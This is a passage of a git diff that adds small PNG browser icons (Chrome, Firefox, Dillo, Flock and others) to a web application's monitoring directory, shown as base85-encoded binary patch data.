zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>bluyZp>_HbNR zXJBAl>*?YcQZXlY(*Eo#2{Om#tNZFtpW$u0P9$n=#?)(DA1D-AXf*jXO@8o5r=vvB zdWVH&hPd~|qyHT(3Itrgv}uK~`mb>H{_DsUSDib{?Bs0kd+VLGrY)ZTvvS_UO1Z9% z4h98H1_c%tl`_GGhK?Dn91YiI?Pg+{)V<+DcY})OMXT$Jf}Y+e6I|>nZL)z~&@&{9 zA>!ZD`@774KfUd>LDntP>6OB*%sq4Jug2WyeAK^IbyE2|dqc-*XZ}6=9d_@m)6{|| zH@;jg?w@y7-}L@9wmpmW@BOHIe&j~RnkkA+5i2`49`={_3D4Dzczvhhj)lEt-OD#C zJyh$elWQJ%JpO8ZzLZyJD)YBrX%(N}_2gO>Z(qOt@Q*Vm7hc_Z?kV@zgj#K`#oFSp z7b`cP*<^F)R@}e8&ksL8>U_A_bDDXyHvjT<sai(5&tHF^zqNT@bm1qR<Y}doRd^3+ zgk@GMf4DvOId}Kh%acR%7i4|>@gd->ZnUZ}L-)V$pI#o%np1XK_4MXncZ*g&ib&ne zud-FlVMzu*!-aGS+q6c3H@<((jT`<y7So<(%c$b`#(VviiUa%puqvvbYdrm7z7qoj O1B0ilpUXO@geCw-oa&GO literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/chimera.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/chimera.png new file mode 100644 index 0000000000000000000000000000000000000000..c93232f34b540ae513b68d5f97cc3de056d59356 GIT binary patch literal 288 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj3<7*YTp1V`Bt%6O6%}<g zb#;yGgx%&#RG#+n3CJy~4XxSPI(_T<Z3lNBxqIu@qfZ|{b8s-I<}U1DU|?V@3GxeO zaCmkj4a7<Ec6VXuV3qY?U|`@Z@Q5sCVBq=y!i-L9OlB}JFtC?+`ns}TWfWjw(6jFd zxx>J~km>2-7*cU7dB=f(dvDGiI9<@Vu%bPbu|uyunsHh6{dsJc)GhAqy?OV}@q*jG z&#s$!`n%zs+m_W?FK(6dtS)PNciU?B+{S~(Id@l|<l*75zx2t^j4AWk%t~$129xHW la_VdbFB$`Q-Z=0uh+R_mE~}R|WME)m@O1TaS?83{1OQ95XJG&U literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/chrome.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/chrome.png new file mode 100644 index 0000000000000000000000000000000000000000..84dc2de78a6a485354e8ca781f3878f16350ea7a GIT binary patch literal 760 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8=#{uelsFfqCYEI8=P86_ z=B6^FWajEAm@5>g7L@2I7#SE?C>WYpnVMP|7%FHR7#bLe%PY-cU|?V`@$_|Nzro4Q zV=1%oq1$c-1_sUokH}&M25un`X1sK_?hgY4153K2uOkD)#(wTUiL49^j8y?XA+G<w z|9}7f{k?n7uiXQ|DSMZ;EN$7kx8>Zq>SKF*_HJEz?%28S-@kwV|G#)`b@H63bLX7? z-;?-%P4WFT%X`P7_O9(YcI?>q|KHz#f1kZJTcSm?XKB>`=T86cDgM7E@cx*<y}eF* z*H(Z3{(kMXwGus=0#hU`dz|JhE&l#I=>I*#|Mvv`U*mXwO!3@auXD%tK7ao_YHgI_ zQbnh|LDgHUTUxTeKhOStj^o~5#dCY7+`D(rX{ndxR;TK{EtXM1nn68^LB-k0QQz-* zJwGOJZg26m=ii;ydMR!-j5?N_+)}Jryw+*Xd&@b`ow8f5?Txy2ta$IW@7c$)i?3BD z_f%W<9IM{@K6~qTub!n#=M>MWcIxpmymoEvxqIKYK405&tY>d^b#it~RL?oD;;lW! zE%yvH-*X7O_i}pv{r}Q?OQ+1KzGrB8&C6?Ra?r7;sOOeW&lxzbad3R!yLIcFo@<tt z*BBVCF>oAHRD3^Y3MhEa?R`F_=Uz+k^PcMWYv+7_ey=HL0VqK*mIV0)GdMiEk;cHl zu*=iMF{I*FazX=Bp+xh-J&QK2+O=$&_@T)fI;ZsYPU`DEX8e4~*l6>n;-b%=xE-XD z?j%2cBrG&}QgD#!C5Z~AHO$RT&Q6C9DJv~rB>5%w?j2j3y?bhFwwC<)BdN2NXKilI z+c&Z@Pv^{umH5IN!rR;9E8@#~_KdEI#FQzaAy==Mnrz)tTJm*@#1U1MrAty%o<4aZ zDl)S{?4!}=kK7zwoZTH=jdu?oICSdRxq~N<o@FjIQ5H7l7FO<HWnf#Y6m>p#tq%hO O1B0ilpUXO@geCwu7Haqa literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/cyberdog.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/cyberdog.png new file mode 100644 index 0000000000000000000000000000000000000000..b94533af0be1ad604b24c9223b1fa19752daa5ff GIT binary patch literal 689 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZSkfJR9T^zbpD<_bdda}R zAX(xXQ4*Y=R#Ki=l*-_klAn~S;F+74o*I;zm{M7IGS!BGfyvp^#WAGfR??sE|K*jL zAJ@12=ULG(kx`K)k(ot+d%~~p@9!`5p8oIO-@_+PeEE4b*0b)KzWu+yY2rzb#r}N# zc=e`p^phzjK5uLonL1ckJpb`A`R?7jO-)YW>*H5<UP%4@|CzP&`bExjCQQ22t?ncL zZqA>ItgCmW%^8^(v>C4aXF7H2)TYgwSFKz*fBw838y5?3vp;zMUxbU9hw<n8_wU|+ z`W2a3Ey2%s=fOjW29}*WcZP+9v9Ys1die0h;dP=+f4TU$fBj+j@#MyvKVlCbKmYUl z#=SQ`J`1u!G%y}Neq3K)|HFrm^X4zo7x^Z~_GtC7k4!B8BAhf2y;oSXVwo=Y%Qt_8 z3)`kLb$tB4|G$I$ySuynT|xpLynT87I)B}t(?9>5RMs_KKHsQsdEc90!L&fLvTGMi znK%^G0z3>1BqV2QXk_kt7_j4WZ*<fAt7ndd9W{G%=Hul4__|A<J(yPg{ym>jp+Vwb z^TGT3|L?2+|M&g<|M$*ao6K(Z|L4btCpSO8HOtJ2Y1y=C_w?gzSlKij7z`bmW_ET? zY;JCy`0@Yq_y6k*xc60jetW%NpIgj#)7H@6-=8ZhGkZunFc>oRwzzUl`1t*ByMFxs zy1!pvUq3(pKEJG0O7`oDudhPc*{uZy1sfQcwEnY)|M+h&EG{l?u;l*!{{`>wF?)M^ zXJ&rfo*%!j@-y2C28D(h|BU~*9<hF0Z)RpzT>Sa-^Ye_km#<x`{PW}F_Wb*<u16a- tF)$wC@X^ay$->v*mz?5a!KZM5p~#ENh9&R+Jq88_22WQ%mvv4FO#l?~OGy9# literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/da.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/da.png new file mode 100644 index 0000000000000000000000000000000000000000..e4fa7bf9b3609edbe0040609e54c5f6c22220c3b GIT binary patch literal 265 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj3<7*YTt9MieA&ctv48pt zKc0)1n~oej{Ou>t<Cks^wDle)XJ4tZIk<Yw12310rB$E5Yac(kdalKy1O^5M#*!ev zU<QY0H_||yByV>Yh7ML)4+aJX&H|6fVg?3oArNM~bhqvg0|NtliKnkC`&C8(1|e~Y z$~Ei^3=Bb@E{-7;w~`YQ5^j8WZo|y+;r~On%g^l^R{rNdAadT?;OzhRcNqo#zQ4QM zl!s@v<hi}o-}`niW>-0K@gn1;6X!27UcAq|Y={4xXY8lvF>x0;K4GZRkX*7`OCy(o Pfq}u()z4*}Q$iB}i+W_Q literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/dillo.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/dillo.png new file mode 100644 index 0000000000000000000000000000000000000000..ba666da251e2db640e115b0c05709dc014ef6a66 GIT binary patch literal 768 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZSkfJR9T^zbpD<_bdda}R zAX(xXQ4*Y=R#Ki=l*-_klAn~S;F+74o*I;zm{M7IGS!BGfoYPbi(^Q|t)xHS-^(j2 zD>E}6-oE_&{k;`m-<fOAH?h~Z|9t%U|B4+qU6!^sZu<ZKKf4wKhr+S?|NsA2eE;|F z?{9VgxKN=9zmK0fape2-c!#cj_bHSA-!7l_|5H-XnI0d9tqhDuK77A^{`BN))wkO} z{uW93rn9ZEC^aELw9Jcp<?Qk|Z>FA)zrXj_pJ(s)?{_%O$i$${aOFSa-@m_KJbirj z>b-)gYdL?t5&ZvMh@0p92gcWIVv@{XRy7wYYm4!)3a~P>LNqY_X86k|F685Aqb4hH z>*`e%d1bemi&`5i)EQpgzjVHP>3S|k?q^@0{$u#h)baH4dVih$68|<98ZpP}FFwC; zh3dcG`?qbI*53WvIc=jh|NT96zb3`|Jb2x0&cFzE5DNzbD;qP*-#>r;{rmg(?GxrN z??U+57&sYtC8Rk29s73o%CBF)pS^z0^8@Cf^B<o5V*1U>!O6nS|DRiwk&}mkhvE14 zUzhGZdG+W%D+{x*un-@k0Mmb{msym#<v#xX{QvtqarVC=Y(GAH`h524oz=UKZ`->0 zFNa`ghzld@?}zNKba><;US|CM_vgirm$y#bvUd0J7tbFsFmZh6k^KJc9|JpUsFT^W z!W<TnU+-DIDsm`8G_Wu-ut;#|$*EtIy?)-tGW6Tq7vF#VmXK4kGdJ{gw7C80J>!Az zJPhyNTM9CD2nucVuebmC@AYh>_D{>-zyDF$A}LX4Y+&&J=fMpbFVlS0>;yv@IcrTD z7?K#>^bER|My5(cNbdXpd*A=lg6?Vk$Lrti`}_Ucqtz=#`z5w7<1iK%*XQSVU@-jS z%zD70=F`vD+wa%^`}hC%uX~S^v$xq+|M_As!N4NHAgQb2Fw2ukfPsO5!PC{xWt~$( F695~|U<d#J literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/doris.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/doris.png new file mode 100644 index 0000000000000000000000000000000000000000..ace3c9b9c480686299c485575817d75d5d0b6bc0 GIT binary patch literal 724 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZI14-?iy0WWg+Z8+Vb&Z8 z1_lQ95>H=O_A4yRJSOsU%YI#CU|^6fag8W(&d<$F%`0JWE=o--Nlj5G&n(GM2+2rQ zaQE~Lc%P!0$H2hk<>}%WQgMs*pr^lZAOpjL?Y^gdx?|ZUOe>2x6{6AW7`W0<Loi^m zqwklro{0&M^gpin_~>YcO~qFQHMhrN`b~;#xtS_gG(>M*VvSyQJLkRae*XJ)752L) zUdxs`nDA;vMY0#)7mF_6)9>9k8}H~V*n5oez>9#M60z<bxlRmDc16X733+L^mb`fS zsr~x<tzXwyKb><jmydzDzMSKtu7l*E1dV4l#*+g=SQ-BI8OaB)sh+v?kDr)Rmch9w zDL)mVlPQyoYYQE1O(l;vFu1rbx4!e*QtoAsN3Q?r6W4T_3t1Rmd`s?su|Q>B-PHKX zKRY+<^3>fNYxq^<?c}R3UkmTu)FSA@<hXs^%5eQ3{(ar@<`-w*Ke+0EV%n8R52uH@ z?-qEAG215TNT~=fKH+Y)$T?`o{CWE?rQTfk!N6rkMe6^T-U$h7EblCzVxPKiyJF^x zJ#polg`C~bCML&qxG+df^Of9swL?Tw<+rNN&YQQg7?&CyYfeA;+<Q%ws!IWfM}yhD zv)iR+@#QXexFhrae@0gQsoYKJGpvu+=C0ggAm6CG>|fvID{adUyUHvH{P}E$jOpF5 zqTB1DISyVld{P#^`q%o9Kyx1>Cf>`9m$`mRZdR2o%hX=|bM2g?&WVSb_8Qd9&<p?E zdns?<A|AO9cX}`NoSW;L{=dR%`?nV-s~qJTHW#;eE7_ZK|6<a8KRqpY#Z|4japIPW z1$?Ks-nlIP|Js%AFK-kk{9UqRI(K{1mgTpPZ*kCYX!-Rm?3zg;JE!EC@FHKfs~;aQ dnm_nsKXZ=Y0+(i$5C#SY22WQ%mvv4FO#sp=J-Pq@ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/dreamcast.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/dreamcast.png new file mode 100644 index 0000000000000000000000000000000000000000..409d0dd0fdebdbd651796b0fd6a6251151ab9efd GIT binary patch literal 303 zcmeAS@N?(olHy`uVBq!ia0y~yVBlw9U=UzoW?*2juCOp?U|?V`@$_|Nzs$_Ys3)#h zV(-Dgz`$AH5n0T@!1V!y8J*Uc%wS+(U`coMb!1@J*w6hZk(Ggg!63jV#P$FG|6avQ zgNm01RWFUIUK`c2Ho0YOa>v%}o~_vv_Lj~#+_Lmk&)Rc6Yp>1Nd28j#SCRey-5D4d z7)yfuf*Bm1-AH3#U?}x;aSW-rm7H*ZDa^7|pW)(irMcT&WD^n|th}=`YCEgOk?8$< zw4b!;Gap|6NounCy<8q1z5A!99j{m_pCC~6b&uB0PhVNvwxloAx;DFESAE)&vuk4b zQVOo;X77B;n({#>{`2ls`x8&LONvIyA1M2~@?S%aDMO;B*1Ooalqn1h3=E#GelF{r G5}E+1wsn#K literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/ecatch.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/ecatch.png new file mode 100644 index 0000000000000000000000000000000000000000..9c85e2cde09b764356e158a77a1b4feff1c24943 GIT binary patch literal 707 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZSkfJR9T^zbpD<_bdda}R zAX(xXQ4*Y=R#Ki=l*-_klAn~S;F+74o*I;zm{M7IGS!BGfhp9}#WAGfR??q(&%TH6 z-PzpO*uvP_cE|8MXOUR<*>J<Z^n}016~0V%{4U)5&z)`Af1aK{42(y9{FgC5{C_=< z4iAsCs^q&51{V9$0{)&k@TvcyzVKmfzP80qJo1r}LUKk0#SAP0+|0_{%+kz<`2yRj z@9@n0E>ZE{=uZ+u^M0ON@sj%t4cAOf`*HHffzwO^4n90*czE=0Na%4JsMsYu_;vb2 zbK^sK3C6GSkJ2KP4-5R9;rPTnK-qy|W5b*ZmlnsL+|4iK+wyq=4xBwu&^14CugHn4 zsrd?j&+srX9y#)%z44)`bn_wc1$GmjH*`#He5hi7*sri{hr2?l{lZ5Kj7OM^m@{P0 z%d@FX2%GR<?^9j0?sxeWejnLS`12@~`rPqhU_3G-NJ^&s=TFJNZN^P9_x~IJ{#zsd z@5|}O7q0hgx-VI0<aEXGPvVmux~u{YI;;CLH~&j`R{1YqvU%3m|I_E#OMLp;x?CbA zEt%!^xA~2Ya~mI;sUJ30YhXx9dhlasldH?zue0TUFV@?(d+wc}c8Q-e>I@s_@D={m zcWav~#IsADk*T9|;=}*dZ0E9j=1BjK%S)PMdtT$n(I5SdKkZN4m2n7`lzevDaKqnZ zgFhSs4mu8o*Z=G1{HxbX5Ayu^J?QWM_2T>M|J9#A_Tj(%;o7{m$xb|v>?ND#85w+F zWD)58IRE?H|8h@^HD%L8!V-VXIr_oo$yN4gKR+#~c>ee7gCAXv|BVmlFF5~?fkogk z=ll<k@)w0m?38qTW?=Lu%`muTn{Kf%_v?7JZT}Ytv>Y)uws&Y?WT@V>YfJqN`xguh O3=E#GelF{r5}E)~-Z|j_ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/encompass.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/encompass.png new file mode 100644 index 0000000000000000000000000000000000000000..e9277ccc03567052b51243c214c5df72f26a6acd GIT binary patch literal 757 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZSkfJR9T^zbpD<_bdda}R zAX(xXQ4*Y=R#Ki=l*-_klAn~S;F+74o*I;zm{M7IGS!BGfvMfo#WAGfR??sU|LvK1 zYJPv2_ws){U);g@^Y3pc;5690$ykB0fg!1J^SpceK7M>56X&^cue+R8hS4c2_rKzs zlTutXSUD70F8%&4|F8bjm!I$V&*qcACVcJTp6Yk^n8QL{E9Lyc7T7wlGB7e|GhF%4 z`1b9GS7&#ed-~%kn~WpZ<+G1JUU~jQ?dyFOK9+xCVjpk5w9pi@iOFK+S7icgV7Yt! z`it$0ul$t>&dxAa3sL&`%IXcngL^mG|Gs$l=Jn<G&%Yjj#jA8c%U%|$fn8AM0-NcV ze?R~Ic<|!wH#Qbl89}D^Tx{>&aeVs8^NmC9!@G}{9<hqQ{{q$U??2O1VT&uzKEB)b zTUYKZ59fE$f9xzj|GoMAf6J-QPage~;^Dae^7FIjZ=o7kSr~r*`u_J1<Kx#1nu2U% zOy6F=`SRyC<IQJ3uiksl^6&rakAI##c<}zyH>d_-K~7G#f8Rd6VPO9+#>FAb#rfp- z`-^vf9=i77-_Lh{8UFwJ{q6R(i|5X0Lo_h4{{5oC_4dc-*YDrH`}Y0oKgNGoAN_dr z@+&Xnhu?p`{rUCv-{)7%f4(2sw-cg)*+iV3{pQZsUw_?w_vh1>{~zA`IC1UkyHDSL z{{H><|6jH*&p3a5(v*|_^_LN%fl1dR;_6p^&PPW?UY|H~=H~JPFF$_!{pa8RU%&qR zd;9pu>qm@CtY5zV5EK%DXkc#Xnxt#%&cG?a!TOJj`8ylaU#5S*{(OG@<=M?2@1Otq z^PiQKi;Yj*CnN%*f${FccWi8ITwJW5KfSwi`}WP7_ny7{@Z;y7uiw71v$6gC{X<+_ iQb*rVM_Yr5he68LrShu(H4g>`1_n=8KbLh*2~7YPgNG~t literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/epiphany.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/epiphany.png new file mode 100644 index 0000000000000000000000000000000000000000..dc87718c5cc82d11d1047cf4da7b33c225ceca10 GIT binary patch literal 631 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>blu<}@_YIdx? z&cMK=?djqeQZYw$lD9`lp~TVs@Bi<Q4Q|(&E2ApEc*^8wTLiLG?KZTocUAFN%OxW2 z)qP;CMfW0&77lSojX;GN-7D^VaX7PsD>aiZN^4rb%xcfMYO_Dy+xh=}cA<Iu{YN@{ z&t+257#JAR++5nrlXtI65m)fh@z-gcuC;gSJso`kVZocH)RZn8d0xEmCE)VjWpCHM zJy_oSPx{}YXxF{Ud(W&<R50{ZWL)sr(>*qC?#8?`YtOE4z5c70(N)X&^a{JEvj=7= zsRpn(JI?*m`o25wb;042zuqi4Gs)?Gp3N!47pq=reV!^PJc~2<`j>4Bw`Kgu_fIzW z(khXU=l$Cg{p{2=r^330`s-(O2m}giFf8~R^83b}jA`2S4_?0bar}98Sd+-|SDxap zzssN2WO86|NDJ#)A|k!;?diMaCYra;UH?(bdU*Z4{d0Kcov^(j{=#L-nKgpO3<4L= z{yRQx=8pQcS6`n^SCUTqWb<<E*{vETWlRj4r#NYDmF!!xe5cu=i2+B9nzS=d-g>)Q zH&U+uvbhqMOGsCX0ITK9{fj^Dd$^t7z30*%XIWj-i!*G0r_S_HR5IpvVM%b=bD_XZ zbxlN#{_lpc_|UwXU$-j%I-b9KaPHiW%}aS$m^wVpxZC8#3a?jBKUDv(weC-q@z=_a zx2uv}Gjm-njhUFN<P*}ArUmVhm|yiJC#SSnJ9EB8^{ywUmKJMjt~}Gy(bp;Cd&A85 qHfMIur^8>~*ccmc4m#EN|N18DvY$2=Oc@v$7(8A5T-G@yGywqc#2wZE literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/ericsson.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/ericsson.png new file mode 100644 index 0000000000000000000000000000000000000000..8c182c5a8730f4679e836a1726183adfe8f43812 GIT binary patch literal 1049 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8GX(gAxUzW3uq^XQNh|4D zHfPDLB`j4YSFT-gX-c{B?nzEx&X!$!bkba=Oq#<o%Y`LLrsYu2m1j>_!erjOd*ib% zC1qBNOqI)*Uw?esVp`gIww&9tW!@H<Nij>7t>Ni&nKN(Bn_ExjoSO6G(G!_4oj>3H z#GI;O36f!Hvbl5b4ojX1OPtP^Z(n@+QqG*aGH2Hsm2D*{RW&tTJ#(hb;aL=tv#O+J z(iD|NDNkO#Veyk;sWZ89>yF7JpOUVcJ%^6)%=3{+vYE1P2}_j9mrq|}Hnsfu^=Hkx zElU=yS#xPk%%qw#m#*~m&5>CZlaf`^vTn|rduy&-yJORpa_8NZJ^POM6y;2rwuEJt z4@;8Hoo9Dg!c^Y8`x3IMrDxF`oi3l4rjjkEj;KsaS+i`5NT1J~MN5`kTJq%ClbTa= zSb|honq2POd%{v?!UJ;upO9%KS5947vuTUTww#)(mO0aw=*&xb19GzpOPx(gU&)kH zTmJm}(=%xf!zdVhA#h=P<1_{a2KEw9Usv|4JnTHYLNj?;o-!~n9Q1T?45^rttijHd znr@h`n<~(~aL=8aLDT2Xj=bq}Lh?vyS>P$L=b!ca4ZO?PigMp9x?2-!F=g)NNs~`Y zK5=!5V4B1-h4oFc?9CR57@s*m?uv8=r5u*5`SVBO$(_Y9J5GJ7h&&wZT6|Mt$)g<K zy%Lp|O@e<e5iXS|N|G>+@HUY-)O}T{@{;5!?mw-@k`iYQ>we*hX%w@3HeE|1`ed8P zD{qd*n59o&=AJz%cjSmLV_8b&&RsqQj(b$EoPB!kX#oR+wWHaYP^RBXpiuX8^>bP0 Hl+XkKk;yc8 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/feeddemon.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/feeddemon.png new file mode 100644 index 0000000000000000000000000000000000000000..a8402008ba0451194ebc5cb1863e3f44b603b11e GIT binary patch literal 677 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>blF!CrWTD1o@ zGB7Yjdb&7<RLoJm<m(Y!$iVR7|Ml6oi~HW%UVNq=J#$%^@rMAXCyFP%xC1$tICoCi zE}*}V#nq`)XYqnXn*>u`<lA+EZLTC59X0jwylh!|d-m-+&+gs3{{Q~L*YE!@_ZWJu zT==?YqrJ9veq6OkXmU^HF1g7|YSVivZRCzHESRFyvv|^%w`VMG-&)nFY-wp-l&m4a zrP#w<_y59!1PdX@D;ES^ZeDqJ`<=I&$={Q^OWq&dZEYK_rMAz?_2c0ei#JXS3$OgS z^<SNn=HZsUy;A*VTjeF}-gao)|MUEJYMb*#{cFb_FSXoz?$~Z=DT9`l$2;EJ*IHiR z*tc%6$>dqByCqqdRwnM+5jOWky@hq&-in2%-nwxdbWkvO=YMUt_gst3lP4bT+{>$J zI#Fy-<f7B3PJU;eUmN@|;?MOjCeK#;7r3(LY8+R-n)8tRlWsupG8N@n%}4Ugg%m%1 zI(X(uNVY%!C$~-3o5UsyK3yYaa&pR)(6A)uM6In+6CSJ+RZ~A-UMjb4rQ6LVB0OvL zm-imcFq;@E);#-k(5Bt{F7O3^V~Pv@x^&j9u4lnl3@+TXdj87oNqLOi-1}Y6L#h`l zXj`_kewQ_z`S{?6XH}>FP7Df6={Z=Ubj|Kh3EwU+mwgW2ySUcguHKb(>a_6OdrJe> zZ>TMQuqw}>M_|*fqZ3b`J=)nY`SRJmN&AibD=xm>kgvlcHF@9c+PPDlSQHr;vSzt) zM9!GM`|F>_v(k?KWV#x1`d--7-n;wmML*G5%+|``#PRSSPoKbo)BW>pW`8_4+w#(_ pJ6En<WMwemVNT{@U|{&eUcT5eN!+M{pMima!PC{xWt~$(697()K6(HE literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/feedreader.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/feedreader.png new file mode 100644 index 0000000000000000000000000000000000000000..72928c62f2c528daa1161b5580369dd63a7fee34 GIT binary patch literal 552 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>bluyP5>eNO$9 z$-uyP$J50zq+(8N(D{6!M1i?K%OZCf`rhQ~%~N9a3fg13@Z+krzr<IFf4y(~(cNZ6 zdGh5fPpOQk?nH5eg^pfPTD$LW;&}J2r`^B0KrjE(q?6V8pBg%5%<Pz?l9-k@?UMYT z7pv!Xbcp!>5D#Ezcwc>gx2#gyGlySCw-zl7U|~>latTqW-G8@m@z3`)3o~w;F?eXk zE*E9l6cQD!D>75E^F(QsxcKweQ*ZCQ!^NPHsmQ``=DG3p!nVT)uYGfF?D+dHbJ7L@ zDPv{^B_$;Wh65QTH*GTC)!$@Km^(9AQ<>-R`RZz)kh^Q{?Z|w+>)zY4`}->IW?b=J z`svXlQ<p1KV`Hx`)>w5ltD_>j^vRYv`DdT4p01yB``(QeY9D17j!aDwU};O#nZbS8 z;LX>nmnBxok^A2JstMapO-fr>#A0ON8$8olWLajP+w*%r(#^IT%{<}Y<)S#_ra@2H zZP|Ien|HqXw5gS;@#dy=&p)%C|6EpH{$+|9%d0anclS)*xaRTV#hVXqxcqY3>8Cf} zTtBzG|8i!;$`Co*x}xv*#EchI2{0Tfypp&3Ycq3_P0p3ye=jdTKQI4&{e~@50@WVw zXF5`N$L8m+hkti}{PC$P&^Ayu!6n3e*0O{9I~RFeHc@0TRz4)pp5qmGIWa?$fq{X+ M)78&qol`;+0CTnjLjV8( literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/firefox.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/firefox.png new file mode 100644 index 0000000000000000000000000000000000000000..eb55e7e18d4efacdced68289614a5f48a9fc6ee4 GIT binary patch literal 368 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj^h;bLN}P*Q6H7Al^Atid zb5j}0QuFi_j0_agUX~Ss7zQQ^hL%>QMpgz!3fcyS1_r?;GQkWC4D2PIzOL+7m_&rk z6s^Q3vM?|(a29w(7Bet#eE?xbr!^)s7#J8>(j9#r85lP9bN@+XWnf@12=EDU{r&s@ zrw<>lojW~a@%92gcXNlR`4id}dnw%s<$GBz_iC!~np&^#I~~|dH$GmQ<}qczn9yxe z1_lPkk|4ie28U-i(ij*Rsy$sCLn>}D7BKYxXJ8T({%n>cz#yiSX8-L}B7@w!XU4`k zj~VpNypI3>?=(Zss&{wqUpvK+wX*c?-7BXVJZF|}xqJIGgU76u-LcW98PsP^cfGpr z7=uXX%o5KtP7KWD9W!UHPGn$ADeq`^6JTHvb`1$h0y#m+SV@4v<fNX>#YGbY7#J8B NJYD@<);T3K0RReTeOLeh literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/flashget.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/flashget.png new file mode 100644 index 0000000000000000000000000000000000000000..ce099d192fbd9e45e869f641f8d59cedeb0bdf06 GIT binary patch literal 488 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>ZO%5$<w&2)&H z!N9;c$J50zq+*WigpFBK0!3P$-}`^>??qE-QP<wJ`UzZHJvK&gn1u-mY}_I!(iyR% zQ-D=edhuQ%L6-Rr%ytf3&7mx+ifq!I3F@0}?lw;Tn1Ai?@x-pfmd5HDZXPe@9Y6W_ z$7gZFL-(9FOcV+WyYRkQQ~1GC?Jd$N+5VTGEk5qksp!DqEU=*1_}5P5*?;%3F~5Cx zDl9+FftiQnK_e&A9J|wR<u_SMTzK}UmZ?WHSjZ{Fi=p75(!RV$2bJRXe!TU3g7G}N z!$(-`)+Sa;vh!ExG-!VODU@4x|JqsWJ%!Qw@t2>ykAHJ+MV{t%H#WC3x|g0ETXt{X z;<fqFR;5uKZ???T)^K7tFO!<zHC^rN6IbE**U@w4KHGZWb*}75FTtLG2EQ$BtKUBA z+Pfy2JL>PE)t6IckBZ8Nt(si)c<au%@WbCr4R>sazq@i%<D(PRH$7G{ul~51i6vu` z@t+;*B~sasPAs21;VNH_qu~E!Lx&SqS0w8^j!rC|8nBX0IHIx8=K2?oh1WKox#`v6 v`^eDI(24DhK+{8+0GR}n?1qNGzs%vM<^LUVHrvg>z`)??>gTe~DWM4fXpPf| literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/flock.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/flock.png new file mode 100644 index 0000000000000000000000000000000000000000..4247ba9972738af2e2462d3a01b1dd8ed5f2b4f8 GIT binary patch literal 420 zcmex=<NpH&0WUXCHwH#V1_nk3Mh1rew;7xnIN8`a*x5Ka*g3ekIJtSn_<4DFc%?-| z1;i9&m6Q}@<>gg0OmtM#4Atf3b!~MGP0g*WtdzCwUF<EKO)Ra<L547LadGkT@JjLX zOPQ<6tD2Jx{vTiv<Y3@q;A3V~Vqg+vWEN!ne}q94>{JFMz{c?Z2!omc10ypND+@Ct zOoow(MUa`5flWwQQQ5Gt(a|X=@&6G95s*h=O29PB|04`Cf{YA|tjJP~%nVF|hJ_a& z{=db*!_3IQB*-ktV9$^qZFq0Sy=kjgSG~RU?uEPe@@4h0oyyylkLj#0IpZH^#gJFH 